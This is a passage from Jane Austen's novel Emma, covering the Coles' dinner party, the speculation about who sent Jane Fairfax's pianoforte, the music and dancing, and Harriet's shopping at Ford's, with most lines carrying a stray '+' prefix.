You are not striving to look taller than any +body else. _Now_ I shall really be very happy to walk into the same +room with you." + +"Nonsensical girl!" was his reply, but not at all in anger. + +Emma had as much reason to be satisfied with the rest of the party +as with Mr. Knightley. She was received with a cordial respect +which could not but please, and given all the consequence she could +wish for. When the Westons arrived, the kindest looks of love, +the strongest of admiration were for her, from both husband and wife; +the son approached her with a cheerful eagerness which marked +her as his peculiar object, and at dinner she found him seated +by her--and, as she firmly believed, not without some dexterity +on his side. + +The party was rather large, as it included one other family, a proper +unobjectionable country family, whom the Coles had the advantage of +naming among their acquaintance, and the male part of Mr. Cox's family, +the lawyer of Highbury. The less worthy females were to come +in the evening, with Miss Bates, Miss Fairfax, and Miss Smith; +but already, at dinner, they were too numerous for any subject +of conversation to be general; and, while politics and Mr. Elton +were talked over, Emma could fairly surrender all her attention to +the pleasantness of her neighbour. The first remote sound to which +she felt herself obliged to attend, was the name of Jane Fairfax. +Mrs. Cole seemed to be relating something of her that was expected to be +very interesting. She listened, and found it well worth listening to. +That very dear part of Emma, her fancy, received an amusing supply. +Mrs. Cole was telling that she had been calling on Miss Bates, +and as soon as she entered the room had been struck by the sight +of a pianoforte--a very elegant looking instrument--not a grand, +but a large-sized square pianoforte; and the substance of the story, +the end of all the dialogue which ensued of surprize, and inquiry, +and congratulations on her side, and explanations on Miss Bates's, was, +that this pianoforte had arrived from Broadwood's the day before, +to the great astonishment of both aunt and niece--entirely unexpected; +that at first, by Miss Bates's account, Jane herself was quite at +a loss, quite bewildered to think who could possibly have ordered it-- +but now, they were both perfectly satisfied that it could be from only +one quarter;--of course it must be from Colonel Campbell. + +"One can suppose nothing else," added Mrs. Cole, "and I was only +surprized that there could ever have been a doubt. But Jane, +it seems, had a letter from them very lately, and not a word was said +about it. She knows their ways best; but I should not consider their +silence as any reason for their not meaning to make the present. +They might chuse to surprize her." + +Mrs. Cole had many to agree with her; every body who spoke on the +subject was equally convinced that it must come from Colonel Campbell, +and equally rejoiced that such a present had been made; and there +were enough ready to speak to allow Emma to think her own way, +and still listen to Mrs. Cole. + +"I declare, I do not know when I have heard any thing that has given +me more satisfaction!--It always has quite hurt me that Jane Fairfax, +who plays so delightfully, should not have an instrument. +It seemed quite a shame, especially considering how many houses +there are where fine instruments are absolutely thrown away. +This is like giving ourselves a slap, to be sure! and it was +but yesterday I was telling Mr. Cole, I really was ashamed +to look at our new grand pianoforte in the drawing-room, while I +do not know one note from another, and our little girls, who are +but just beginning, perhaps may never make any thing of it; +and there is poor Jane Fairfax, who is mistress of music, has not +any thing of the nature of an instrument, not even the pitifullest +old spinet in the world, to amuse herself with.--I was saying this +to Mr. Cole but yesterday, and he quite agreed with me; only he +is so particularly fond of music that he could not help indulging +himself in the purchase, hoping that some of our good neighbours might +be so obliging occasionally to put it to a better use than we can; +and that really is the reason why the instrument was bought-- +or else I am sure we ought to be ashamed of it.--We are in great +hopes that Miss Woodhouse may be prevailed with to try it this evening." + +Miss Woodhouse made the proper acquiescence; and finding that nothing +more was to be entrapped from any communication of Mrs. Cole's, +turned to Frank Churchill. + +"Why do you smile?" said she. + +"Nay, why do you?" + +"Me!--I suppose I smile for pleasure at Colonel Campbell's being +so rich and so liberal.--It is a handsome present." + +"Very." + +"I rather wonder that it was never made before." + +"Perhaps Miss Fairfax has never been staying here so long before." + +"Or that he did not give her the use of their own instrument-- +which must now be shut up in London, untouched by any body." + +"That is a grand pianoforte, and he might think it too large +for Mrs. Bates's house." + +"You may _say_ what you chuse--but your countenance testifies +that your _thoughts_ on this subject are very much like mine." + +"I do not know. I rather believe you are giving me more credit for +acuteness than I deserve. I smile because you smile, and shall probably +suspect whatever I find you suspect; but at present I do not see what +there is to question. If Colonel Campbell is not the person, who can be?" + +"What do you say to Mrs. Dixon?" + +"Mrs. Dixon! very true indeed. I had not thought of Mrs. Dixon. +She must know as well as her father, how acceptable an instrument +would be; and perhaps the mode of it, the mystery, the surprize, +is more like a young woman's scheme than an elderly man's. It +is Mrs. Dixon, I dare say. I told you that your suspicions would +guide mine." + +"If so, you must extend your suspicions and comprehend _Mr_. Dixon +in them." + +"Mr. Dixon.--Very well. Yes, I immediately perceive that it must +be the joint present of Mr. and Mrs. Dixon. We were speaking the +other day, you know, of his being so warm an admirer of her performance." + +"Yes, and what you told me on that head, confirmed an idea which I +had entertained before.--I do not mean to reflect upon the good +intentions of either Mr. Dixon or Miss Fairfax, but I cannot help +suspecting either that, after making his proposals to her friend, +he had the misfortune to fall in love with _her_, or that he became +conscious of a little attachment on her side. One might guess +twenty things without guessing exactly the right; but I am sure +there must be a particular cause for her chusing to come to Highbury +instead of going with the Campbells to Ireland. Here, she must be +leading a life of privation and penance; there it would have been +all enjoyment. As to the pretence of trying her native air, I look +upon that as a mere excuse.--In the summer it might have passed; +but what can any body's native air do for them in the months +of January, February, and March? Good fires and carriages would +be much more to the purpose in most cases of delicate health, and I +dare say in her's. I do not require you to adopt all my suspicions, +though you make so noble a profession of doing it, but I honestly +tell you what they are." + +"And, upon my word, they have an air of great probability. +Mr. Dixon's preference of her music to her friend's, I can answer +for being very decided." + +"And then, he saved her life. Did you ever hear of that?-- +A water party; and by some accident she was falling overboard. +He caught her." + +"He did. I was there--one of the party." + +"Were you really?--Well!--But you observed nothing of course, +for it seems to be a new idea to you.--If I had been there, I think +I should have made some discoveries." + +"I dare say you would; but I, simple I, saw nothing but the fact, +that Miss Fairfax was nearly dashed from the vessel and that Mr. Dixon +caught her.--It was the work of a moment. And though the consequent +shock and alarm was very great and much more durable--indeed I +believe it was half an hour before any of us were comfortable again-- +yet that was too general a sensation for any thing of peculiar +anxiety to be observable. I do not mean to say, however, that you +might not have made discoveries." + +The conversation was here interrupted. They were called on to share +in the awkwardness of a rather long interval between the courses, +and obliged to be as formal and as orderly as the others; but when +the table was again safely covered, when every corner dish was placed +exactly right, and occupation and ease were generally restored, +Emma said, + +"The arrival of this pianoforte is decisive with me. I wanted to know +a little more, and this tells me quite enough. Depend upon it, +we shall soon hear that it is a present from Mr. and Mrs. Dixon." + +"And if the Dixons should absolutely deny all knowledge of it we +must conclude it to come from the Campbells." + +"No, I am sure it is not from the Campbells. Miss Fairfax knows it +is not from the Campbells, or they would have been guessed at first. +She would not have been puzzled, had she dared fix on them. +I may not have convinced you perhaps, but I am perfectly convinced +myself that Mr. Dixon is a principal in the business." + +"Indeed you injure me if you suppose me unconvinced. Your reasonings +carry my judgment along with them entirely. At first, while I +supposed you satisfied that Colonel Campbell was the giver, I saw +it only as paternal kindness, and thought it the most natural thing +in the world. But when you mentioned Mrs. Dixon, I felt how much more +probable that it should be the tribute of warm female friendship. +And now I can see it in no other light than as an offering of love." + +There was no occasion to press the matter farther. The conviction +seemed real; he looked as if he felt it. She said no more, +other subjects took their turn; and the rest of the dinner passed away; +the dessert succeeded, the children came in, and were talked +to and admired amid the usual rate of conversation; a few clever +things said, a few downright silly, but by much the larger proportion +neither the one nor the other--nothing worse than everyday remarks, +dull repetitions, old news, and heavy jokes. + +The ladies had not been long in the drawing-room, before the other ladies, +in their different divisions, arrived. Emma watched the entree of her +own particular little friend; and if she could not exult in her dignity +and grace, she could not only love the blooming sweetness and the +artless manner, but could most heartily rejoice in that light, cheerful, +unsentimental disposition which allowed her so many alleviations +of pleasure, in the midst of the pangs of disappointed affection. +There she sat--and who would have guessed how many tears she had +been lately shedding? To be in company, nicely dressed herself +and seeing others nicely dressed, to sit and smile and look pretty, +and say nothing, was enough for the happiness of the present hour. +Jane Fairfax did look and move superior; but Emma suspected she +might have been glad to change feelings with Harriet, very glad +to have purchased the mortification of having loved--yes, of having +loved even Mr. Elton in vain--by the surrender of all the dangerous +pleasure of knowing herself beloved by the husband of her friend. + +In so large a party it was not necessary that Emma should approach her. +She did not wish to speak of the pianoforte, she felt too much +in the secret herself, to think the appearance of curiosity +or interest fair, and therefore purposely kept at a distance; +but by the others, the subject was almost immediately introduced, +and she saw the blush of consciousness with which congratulations +were received, the blush of guilt which accompanied the name of "my +excellent friend Colonel Campbell." + +Mrs. Weston, kind-hearted and musical, was particularly interested +by the circumstance, and Emma could not help being amused at her +perseverance in dwelling on the subject; and having so much to ask +and to say as to tone, touch, and pedal, totally unsuspicious +of that wish of saying as little about it as possible, which she +plainly read in the fair heroine's countenance. + +They were soon joined by some of the gentlemen; and the very first of the +early was Frank Churchill. In he walked, the first and the handsomest; +and after paying his compliments en passant to Miss Bates and +her niece, made his way directly to the opposite side of the circle, +where sat Miss Woodhouse; and till he could find a seat by her, +would not sit at all. Emma divined what every body present must +be thinking. She was his object, and every body must perceive it. +She introduced him to her friend, Miss Smith, and, at convenient +moments afterwards, heard what each thought of the other. "He had +never seen so lovely a face, and was delighted with her naivete." +And she, "Only to be sure it was paying him too great a compliment, +but she did think there were some looks a little like Mr. Elton." +Emma restrained her indignation, and only turned from her in silence. + +Smiles of intelligence passed between her and the gentleman on first +glancing towards Miss Fairfax; but it was most prudent to avoid speech. +He told her that he had been impatient to leave the dining-room-- +hated sitting long--was always the first to move when he could-- +that his father, Mr. Knightley, Mr. Cox, and Mr. Cole, were left +very busy over parish business--that as long as he had staid, +however, it had been pleasant enough, as he had found them in general +a set of gentlemanlike, sensible men; and spoke so handsomely of +Highbury altogether--thought it so abundant in agreeable families-- +that Emma began to feel she had been used to despise the place +rather too much. She questioned him as to the society in Yorkshire-- +the extent of the neighbourhood about Enscombe, and the sort; +and could make out from his answers that, as far as Enscombe +was concerned, there was very little going on, that their visitings +were among a range of great families, none very near; and that even +when days were fixed, and invitations accepted, it was an even +chance that Mrs. Churchill were not in health and spirits for going; +that they made a point of visiting no fresh person; and that, +though he had his separate engagements, it was not without difficulty, +without considerable address _at_ _times_, that he could get away, +or introduce an acquaintance for a night. + +She saw that Enscombe could not satisfy, and that Highbury, +taken at its best, might reasonably please a young man who had more +retirement at home than he liked. His importance at Enscombe was +very evident. He did not boast, but it naturally betrayed itself, +that he had persuaded his aunt where his uncle could do nothing, +and on her laughing and noticing it, he owned that he believed (excepting +one or two points) he could _with_ _time_ persuade her to any thing. +One of those points on which his influence failed, he then mentioned. +He had wanted very much to go abroad--had been very eager indeed +to be allowed to travel--but she would not hear of it. This had +happened the year before. _Now_, he said, he was beginning to have +no longer the same wish. + +The unpersuadable point, which he did not mention, Emma guessed +to be good behaviour to his father. + +"I have made a most wretched discovery," said he, after a short pause.-- +"I have been here a week to-morrow--half my time. I never knew +days fly so fast. A week to-morrow!--And I have hardly begun to +enjoy myself. But just got acquainted with Mrs. Weston, and others!-- +I hate the recollection." + +"Perhaps you may now begin to regret that you spent one whole day, +out of so few, in having your hair cut." + +"No," said he, smiling, "that is no subject of regret at all. +I have no pleasure in seeing my friends, unless I can believe myself +fit to be seen." + +The rest of the gentlemen being now in the room, Emma found herself +obliged to turn from him for a few minutes, and listen to Mr. Cole. +When Mr. Cole had moved away, and her attention could be restored +as before, she saw Frank Churchill looking intently across the room +at Miss Fairfax, who was sitting exactly opposite. + +"What is the matter?" said she. + +He started. "Thank you for rousing me," he replied. "I believe +I have been very rude; but really Miss Fairfax has done her hair +in so odd a way--so very odd a way--that I cannot keep my eyes +from her. I never saw any thing so outree!--Those curls!--This must +be a fancy of her own. I see nobody else looking like her!-- +I must go and ask her whether it is an Irish fashion. Shall I?-- +Yes, I will--I declare I will--and you shall see how she takes it;-- +whether she colours." + +He was gone immediately; and Emma soon saw him standing before Miss +Fairfax, and talking to her; but as to its effect on the young lady, +as he had improvidently placed himself exactly between them, exactly +in front of Miss Fairfax, she could absolutely distinguish nothing. + +Before he could return to his chair, it was taken by Mrs. Weston. + +"This is the luxury of a large party," said she:--"one can get +near every body, and say every thing. My dear Emma, I am longing +to talk to you. I have been making discoveries and forming plans, +just like yourself, and I must tell them while the idea is fresh. +Do you know how Miss Bates and her niece came here?" + +"How?--They were invited, were not they?" + +"Oh! yes--but how they were conveyed hither?--the manner of their coming?" + +"They walked, I conclude. How else could they come?" + +"Very true.--Well, a little while ago it occurred to me how very sad +it would be to have Jane Fairfax walking home again, late at night, +and cold as the nights are now. And as I looked at her, though I +never saw her appear to more advantage, it struck me that she +was heated, and would therefore be particularly liable to take cold. +Poor girl! I could not bear the idea of it; so, as soon as Mr. Weston +came into the room, and I could get at him, I spoke to him about +the carriage. You may guess how readily he came into my wishes; +and having his approbation, I made my way directly to Miss Bates, +to assure her that the carriage would be at her service before it took +us home; for I thought it would be making her comfortable at once. +Good soul! she was as grateful as possible, you may be sure. +`Nobody was ever so fortunate as herself!'--but with many, +many thanks--`there was no occasion to trouble us, for Mr. Knightley's +carriage had brought, and was to take them home again.' I was +quite surprized;--very glad, I am sure; but really quite surprized. +Such a very kind attention--and so thoughtful an attention!-- +the sort of thing that so few men would think of. And, in short, +from knowing his usual ways, I am very much inclined to think +that it was for their accommodation the carriage was used at all. +I do suspect he would not have had a pair of horses for himself, +and that it was only as an excuse for assisting them." + +"Very likely," said Emma--"nothing more likely. I know no man +more likely than Mr. Knightley to do the sort of thing--to do any +thing really good-natured, useful, considerate, or benevolent. +He is not a gallant man, but he is a very humane one; and this, +considering Jane Fairfax's ill-health, would appear a case +of humanity to him;--and for an act of unostentatious kindness, +there is nobody whom I would fix on more than on Mr. Knightley. +I know he had horses to-day--for we arrived together; and I laughed at +him about it, but he said not a word that could betray." + +"Well," said Mrs. Weston, smiling, "you give him credit for +more simple, disinterested benevolence in this instance than I do; +for while Miss Bates was speaking, a suspicion darted into my head, +and I have never been able to get it out again. The more I think +of it, the more probable it appears. In short, I have made a match +between Mr. Knightley and Jane Fairfax. See the consequence +of keeping you company!--What do you say to it?" + +"Mr. Knightley and Jane Fairfax!" exclaimed Emma. "Dear Mrs. Weston, +how could you think of such a thing?--Mr. Knightley!--Mr. Knightley +must not marry!--You would not have little Henry cut out from Donwell?-- +Oh! no, no, Henry must have Donwell. I cannot at all consent to +Mr. Knightley's marrying; and I am sure it is not at all likely. +I am amazed that you should think of such a thing." + +"My dear Emma, I have told you what led me to think of it. +I do not want the match--I do not want to injure dear little Henry-- +but the idea has been given me by circumstances; and if Mr. Knightley +really wished to marry, you would not have him refrain on Henry's +account, a boy of six years old, who knows nothing of the matter?" + +"Yes, I would. I could not bear to have Henry supplanted.-- +Mr. Knightley marry!--No, I have never had such an idea, and I +cannot adopt it now. And Jane Fairfax, too, of all women!" + +"Nay, she has always been a first favourite with him, as you +very well know." + +"But the imprudence of such a match!" + +"I am not speaking of its prudence; merely its probability." + +"I see no probability in it, unless you have any better foundation +than what you mention. His good-nature, his humanity, as I tell you, +would be quite enough to account for the horses. He has a great +regard for the Bateses, you know, independent of Jane Fairfax-- +and is always glad to shew them attention. My dear Mrs. Weston, +do not take to match-making. You do it very ill. Jane Fairfax mistress +of the Abbey!--Oh! no, no;--every feeling revolts. For his own sake, +I would not have him do so mad a thing." + +"Imprudent, if you please--but not mad. Excepting inequality of fortune, +and perhaps a little disparity of age, I can see nothing unsuitable." + +"But Mr. Knightley does not want to marry. I am sure he has not the +least idea of it. Do not put it into his head. Why should he marry?-- +He is as happy as possible by himself; with his farm, and his sheep, +and his library, and all the parish to manage; and he is extremely +fond of his brother's children. He has no occasion to marry, +either to fill up his time or his heart." + +"My dear Emma, as long as he thinks so, it is so; but if he really +loves Jane Fairfax--" + +"Nonsense! He does not care about Jane Fairfax. In the way +of love, I am sure he does not. He would do any good to her, +or her family; but--" + +"Well," said Mrs. Weston, laughing, "perhaps the greatest good he +could do them, would be to give Jane such a respectable home." + +"If it would be good to her, I am sure it would be evil to himself; +a very shameful and degrading connexion. How would he bear to have +Miss Bates belonging to him?--To have her haunting the Abbey, +and thanking him all day long for his great kindness in marrying Jane?-- +`So very kind and obliging!--But he always had been such a very +kind neighbour!' And then fly off, through half a sentence, +to her mother's old petticoat. `Not that it was such a very old +petticoat either--for still it would last a great while--and, indeed, +she must thankfully say that their petticoats were all very strong.'" + +"For shame, Emma! Do not mimic her. You divert me against +my conscience. And, upon my word, I do not think Mr. Knightley would +be much disturbed by Miss Bates. Little things do not irritate him. +She might talk on; and if he wanted to say any thing himself, he would +only talk louder, and drown her voice. But the question is not, +whether it would be a bad connexion for him, but whether he wishes it; +and I think he does. I have heard him speak, and so must you, +so very highly of Jane Fairfax! The interest he takes in her-- +his anxiety about her health--his concern that she should have no +happier prospect! I have heard him express himself so warmly on +those points!--Such an admirer of her performance on the pianoforte, +and of her voice! I have heard him say that he could listen to her +for ever. Oh! and I had almost forgotten one idea that occurred +to me--this pianoforte that has been sent here by somebody-- +though we have all been so well satisfied to consider it a present +from the Campbells, may it not be from Mr. Knightley? I cannot +help suspecting him. I think he is just the person to do it, +even without being in love." + +"Then it can be no argument to prove that he is in love. +But I do not think it is at all a likely thing for him to do. +Mr. Knightley does nothing mysteriously." + +"I have heard him lamenting her having no instrument repeatedly; +oftener than I should suppose such a circumstance would, in the common +course of things, occur to him." + +"Very well; and if he had intended to give her one, he would have +told her so." + +"There might be scruples of delicacy, my dear Emma. I have a very +strong notion that it comes from him. I am sure he was particularly +silent when Mrs. Cole told us of it at dinner." + +"You take up an idea, Mrs. Weston, and run away with it; as you have +many a time reproached me with doing. I see no sign of attachment-- +I believe nothing of the pianoforte--and proof only shall convince +me that Mr. Knightley has any thought of marrying Jane Fairfax." + +They combated the point some time longer in the same way; Emma rather +gaining ground over the mind of her friend; for Mrs. Weston was +the most used of the two to yield; till a little bustle in the room +shewed them that tea was over, and the instrument in preparation;-- +and at the same moment Mr. Cole approaching to entreat Miss Woodhouse +would do them the honour of trying it. Frank Churchill, of whom, +in the eagerness of her conversation with Mrs. Weston, she had been +seeing nothing, except that he had found a seat by Miss Fairfax, +followed Mr. Cole, to add his very pressing entreaties; and as, +in every respect, it suited Emma best to lead, she gave a very +proper compliance. + +She knew the limitations of her own powers too well to attempt +more than she could perform with credit; she wanted neither taste +nor spirit in the little things which are generally acceptable, +and could accompany her own voice well. One accompaniment to her song +took her agreeably by surprize--a second, slightly but correctly +taken by Frank Churchill. Her pardon was duly begged at the close +of the song, and every thing usual followed. He was accused +of having a delightful voice, and a perfect knowledge of music; +which was properly denied; and that he knew nothing of the matter, +and had no voice at all, roundly asserted. They sang together +once more; and Emma would then resign her place to Miss Fairfax, +whose performance, both vocal and instrumental, she never could +attempt to conceal from herself, was infinitely superior to her own. + +With mixed feelings, she seated herself at a little distance from the +numbers round the instrument, to listen. Frank Churchill sang again. +They had sung together once or twice, it appeared, at Weymouth. +But the sight of Mr. Knightley among the most attentive, soon drew +away half Emma's mind; and she fell into a train of thinking +on the subject of Mrs. Weston's suspicions, to which the sweet +sounds of the united voices gave only momentary interruptions. +Her objections to Mr. Knightley's marrying did not in the least subside. +She could see nothing but evil in it. It would be a great +disappointment to Mr. John Knightley; consequently to Isabella. +A real injury to the children--a most mortifying change, +and material loss to them all;--a very great deduction from her +father's daily comfort--and, as to herself, she could not at all +endure the idea of Jane Fairfax at Donwell Abbey. A Mrs. Knightley +for them all to give way to!--No--Mr. Knightley must never marry. +Little Henry must remain the heir of Donwell. + +Presently Mr. Knightley looked back, and came and sat down by her. +They talked at first only of the performance. His admiration +was certainly very warm; yet she thought, but for Mrs. Weston, +it would not have struck her. As a sort of touchstone, however, +she began to speak of his kindness in conveying the aunt and niece; +and though his answer was in the spirit of cutting the matter short, +she believed it to indicate only his disinclination to dwell on any +kindness of his own. + +"I often feel concern," said she, "that I dare not make our carriage +more useful on such occasions. It is not that I am without the wish; +but you know how impossible my father would deem it that James +should put-to for such a purpose." + +"Quite out of the question, quite out of the question," he replied;-- +"but you must often wish it, I am sure." And he smiled with such +seeming pleasure at the conviction, that she must proceed another step. + +"This present from the Campbells," said she--"this pianoforte +is very kindly given." + +"Yes," he replied, and without the smallest apparent embarrassment.-- +"But they would have done better had they given her notice of it. +Surprizes are foolish things. The pleasure is not enhanced, and the +inconvenience is often considerable. I should have expected better +judgment in Colonel Campbell." + +From that moment, Emma could have taken her oath that Mr. Knightley +had had no concern in giving the instrument. But whether he +were entirely free from peculiar attachment--whether there +were no actual preference--remained a little longer doubtful. +Towards the end of Jane's second song, her voice grew thick. + +"That will do," said he, when it was finished, thinking aloud-- +"you have sung quite enough for one evening--now be quiet." + +Another song, however, was soon begged for. "One more;--they would +not fatigue Miss Fairfax on any account, and would only ask for +one more." And Frank Churchill was heard to say, "I think you could +manage this without effort; the first part is so very trifling. +The strength of the song falls on the second." + +Mr. Knightley grew angry. + +"That fellow," said he, indignantly, "thinks of nothing but shewing +off his own voice. This must not be." And touching Miss Bates, +who at that moment passed near--"Miss Bates, are you mad, to let +your niece sing herself hoarse in this manner? Go, and interfere. +They have no mercy on her." + +Miss Bates, in her real anxiety for Jane, could hardly stay even +to be grateful, before she stept forward and put an end to all +farther singing. Here ceased the concert part of the evening, +for Miss Woodhouse and Miss Fairfax were the only young lady performers; +but soon (within five minutes) the proposal of dancing-- +originating nobody exactly knew where--was so effectually promoted +by Mr. and Mrs. Cole, that every thing was rapidly clearing away, +to give proper space. Mrs. Weston, capital in her country-dances, +was seated, and beginning an irresistible waltz; and Frank Churchill, +coming up with most becoming gallantry to Emma, had secured her hand, +and led her up to the top. + +While waiting till the other young people could pair themselves off, +Emma found time, in spite of the compliments she was receiving on her +voice and her taste, to look about, and see what became of Mr. Knightley. +This would be a trial. He was no dancer in general. If he were to be +very alert in engaging Jane Fairfax now, it might augur something. +There was no immediate appearance. No; he was talking to Mrs. Cole-- +he was looking on unconcerned; Jane was asked by somebody else, +and he was still talking to Mrs. Cole. + +Emma had no longer an alarm for Henry; his interest was yet safe; +and she led off the dance with genuine spirit and enjoyment. +Not more than five couple could be mustered; but the rarity and the +suddenness of it made it very delightful, and she found herself well +matched in a partner. They were a couple worth looking at. + +Two dances, unfortunately, were all that could be allowed. +It was growing late, and Miss Bates became anxious to get home, +on her mother's account. After some attempts, therefore, to be +permitted to begin again, they were obliged to thank Mrs. Weston, +look sorrowful, and have done. + +"Perhaps it is as well," said Frank Churchill, as he attended Emma +to her carriage. "I must have asked Miss Fairfax, and her languid +dancing would not have agreed with me, after your's." + + + +CHAPTER IX + + +Emma did not repent her condescension in going to the Coles. +The visit afforded her many pleasant recollections the next day; +and all that she might be supposed to have lost on the side +of dignified seclusion, must be amply repaid in the splendour +of popularity. She must have delighted the Coles--worthy people, +who deserved to be made happy!--And left a name behind her that would +not soon die away. + +Perfect happiness, even in memory, is not common; and there were +two points on which she was not quite easy. She doubted whether +she had not transgressed the duty of woman by woman, in betraying +her suspicions of Jane Fairfax's feelings to Frank Churchill. +It was hardly right; but it had been so strong an idea, that it +would escape her, and his submission to all that she told, +was a compliment to her penetration, which made it difficult +for her to be quite certain that she ought to have held her tongue. + +The other circumstance of regret related also to Jane Fairfax; +and there she had no doubt. She did unfeignedly and unequivocally +regret the inferiority of her own playing and singing. She did +most heartily grieve over the idleness of her childhood--and sat +down and practised vigorously an hour and a half. + +She was then interrupted by Harriet's coming in; and if Harriet's +praise could have satisfied her, she might soon have been comforted. + +"Oh! if I could but play as well as you and Miss Fairfax!" + +"Don't class us together, Harriet. My playing is no more like +her's, than a lamp is like sunshine." + +"Oh! dear--I think you play the best of the two. I think you play +quite as well as she does. I am sure I had much rather hear you. +Every body last night said how well you played." + +"Those who knew any thing about it, must have felt the difference. +The truth is, Harriet, that my playing is just good enough to be praised, +but Jane Fairfax's is much beyond it." + +"Well, I always shall think that you play quite as well as she does, +or that if there is any difference nobody would ever find it out. +Mr. Cole said how much taste you had; and Mr. Frank Churchill talked +a great deal about your taste, and that he valued taste much more +than execution." + +"Ah! but Jane Fairfax has them both, Harriet." + +"Are you sure? I saw she had execution, but I did not know she had +any taste. Nobody talked about it. And I hate Italian singing.-- +There is no understanding a word of it. Besides, if she does play +so very well, you know, it is no more than she is obliged to do, +because she will have to teach. The Coxes were wondering last night +whether she would get into any great family. How did you think the +Coxes looked?" + +"Just as they always do--very vulgar." + +"They told me something," said Harriet rather hesitatingly;" +but it is nothing of any consequence." + +Emma was obliged to ask what they had told her, though fearful +of its producing Mr. Elton. + +"They told me--that Mr. Martin dined with them last Saturday." + +"Oh!" + +"He came to their father upon some business, and he asked him +to stay to dinner." + +"Oh!" + +"They talked a great deal about him, especially Anne Cox. +I do not know what she meant, but she asked me if I thought I +should go and stay there again next summer." + +"She meant to be impertinently curious, just as such an Anne Cox +should be." + +"She said he was very agreeable the day he dined there. He sat +by her at dinner. Miss Nash thinks either of the Coxes would +be very glad to marry him." + +"Very likely.--I think they are, without exception, the most vulgar +girls in Highbury." + +Harriet had business at Ford's.--Emma thought it most prudent to go +with her. Another accidental meeting with the Martins was possible, +and in her present state, would be dangerous. + +Harriet, tempted by every thing and swayed by half a word, was always +very long at a purchase; and while she was still hanging over muslins +and changing her mind, Emma went to the door for amusement.--Much could +not be hoped from the traffic of even the busiest part of Highbury;-- +Mr. Perry walking hastily by, Mr. William Cox letting himself in at +the office-door, Mr. Cole's carriage-horses returning from exercise, +or a stray letter-boy on an obstinate mule, were the liveliest +objects she could presume to expect; and when her eyes fell only on +the butcher with his tray, a tidy old woman travelling homewards from +shop with her full basket, two curs quarrelling over a dirty bone, +and a string of dawdling children round the baker's little bow-window +eyeing the gingerbread, she knew she had no reason to complain, +and was amused enough; quite enough still to stand at the door. +A mind lively and at ease, can do with seeing nothing, and can see +nothing that does not answer. + +She looked down the Randalls road. The scene enlarged; +two persons appeared; Mrs. Weston and her son-in-law; they were +walking into Highbury;--to Hartfield of course. They were stopping, +however, in the first place at Mrs. Bates's; whose house was +a little nearer Randalls than Ford's; and had all but knocked, +when Emma caught their eye.--Immediately they crossed the road +and came forward to her; and the agreeableness of yesterday's +engagement seemed to give fresh pleasure to the present meeting. +Mrs. Weston informed her that she was going to call on the Bateses, +in order to hear the new instrument. + +"For my companion tells me," said she, "that I absolutely promised +Miss Bates last night, that I would come this morning. I was +not aware of it myself. I did not know that I had fixed a day, +but as he says I did, I am going now." + +"And while Mrs. Weston pays her visit, I may be allowed, I hope," +said Frank Churchill, "to join your party and wait for her at Hartfield-- +if you are going home." + +Mrs. Weston was disappointed. + +"I thought you meant to go with me. They would be very much pleased." + +"Me! I should be quite in the way. But, perhaps--I may be equally +in the way here. Miss Woodhouse looks as if she did not want me. +My aunt always sends me off when she is shopping. She says I fidget +her to death; and Miss Woodhouse looks as if she could almost say +the same. What am I to do?" + +"I am here on no business of my own," said Emma; "I am only waiting +for my friend. She will probably have soon done, and then we +shall go home. But you had better go with Mrs. Weston and hear +the instrument." + +"Well--if you advise it.--But (with a smile) if Colonel Campbell +should have employed a careless friend, and if it should prove +to have an indifferent tone--what shall I say? I shall be no +support to Mrs. Weston. She might do very well by herself. +A disagreeable truth would be palatable through her lips, but I +am the wretchedest being in the world at a civil falsehood." + +"I do not believe any such thing," replied Emma.--"I am persuaded +that you can be as insincere as your neighbours, when it is necessary; +but there is no reason to suppose the instrument is indifferent. +Quite otherwise indeed, if I understood Miss Fairfax's opinion +last night." + +"Do come with me," said Mrs. Weston, "if it be not very disagreeable +to you. It need not detain us long. We will go to Hartfield afterwards. +We will follow them to Hartfield. I really wish you to call with me. +It will be felt so great an attention! and I always thought you +meant it." + +He could say no more; and with the hope of Hartfield to reward him, +returned with Mrs. Weston to Mrs. Bates's door. Emma watched them in, +and then joined Harriet at the interesting counter,--trying, with all +the force of her own mind, to convince her that if she wanted plain +muslin it was of no use to look at figured; and that a blue ribbon, +be it ever so beautiful, would still never match her yellow pattern. +At last it was all settled, even to the destination of the parcel. + +"Should I send it to Mrs. Goddard's, ma'am?" asked Mrs. Ford.-- +"Yes--no--yes, to Mrs. Goddard's. Only my pattern gown is +at Hartfield. No, you shall send it to Hartfield, if you please. +But then, Mrs. Goddard will want to see it.--And I could take the +pattern gown home any day. But I shall want the ribbon directly-- +so it had better go to Hartfield--at least the ribbon. You could +make it into two parcels, Mrs. Ford, could not you?" + +"It is not worth while, Harriet, to give Mrs. Ford the trouble +of two parcels." + +"No more it is." + +"No trouble in the world, ma'am," said the obliging Mrs. Ford. + +"Oh! but indeed I would much rather have it only in one. +Then, if you please, you shall send it all to Mrs. Goddard's-- +I do not know--No, I think, Miss Woodhouse, I may just as well +have it sent to Hartfield, and take it home with me at night. +What do you advise?" + +"That you do not give another half-second to the subject. +To Hartfield, if you please, Mrs. Ford." + +"Aye, that will be much best," said Harriet, quite satisfied, +"I should not at all like to have it sent to Mrs. Goddard's." + +Voices approached the shop--or rather one voice and two ladies: +Mrs. Weston and Miss Bates met them at the door. + +"My dear Miss Woodhouse," said the latter, "I am just run across to +entreat the favour of you to come and sit down with us a little while, +and give us your opinion of our new instrument; you and Miss Smith. +How do you do, Miss Smith?--Very well I thank you.--And I begged +Mrs. Weston to come with me, that I might be sure of succeeding." + +"I hope Mrs. Bates and Miss Fairfax are--" + +"Very well, I am much obliged to you. My mother is delightfully well; +and Jane caught no cold last night. How is Mr. Woodhouse?--I am so glad +to hear such a good account. Mrs. Weston told me you were here.-- +Oh! then, said I, I must run across, I am sure Miss Woodhouse will +allow me just to run across and entreat her to come in; my mother +will be so very happy to see her--and now we are such a nice party, +she cannot refuse.--`Aye, pray do,' said Mr. Frank Churchill, +`Miss Woodhouse's opinion of the instrument will be worth having.'-- +But, said I, I shall be more sure of succeeding if one of you will go +with me.--`Oh,' said he, `wait half a minute, till I have finished +my job;'--For, would you believe it, Miss Woodhouse, there he is, +in the most obliging manner in the world, fastening in the rivet of my +mother's spectacles.--The rivet came out, you know, this morning.-- +So very obliging!--For my mother had no use of her spectacles-- +could not put them on. And, by the bye, every body ought to have +two pair of spectacles; they should indeed. Jane said so. +I meant to take them over to John Saunders the first thing I did, +but something or other hindered me all the morning; first one thing, +then another, there is no saying what, you know. At one time Patty came +to say she thought the kitchen chimney wanted sweeping. Oh, said I, +Patty do not come with your bad news to me. 